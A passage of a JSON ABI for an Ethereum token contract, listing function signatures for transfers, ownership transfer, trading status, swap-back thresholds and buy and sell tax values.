Enabled","type":"bool"},{"internalType":"uint256","name":"_swapBackValueMin","type":"uint256"},{"internalType":"uint256","name":"_swapBackValueMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxValues","outputs":[{"internalType":"uint256","name":"_buyTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_buyMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_buyProjectTax","type":"uint256"},{"internalType":"uint256","name":"_sellTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_sellProjectTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]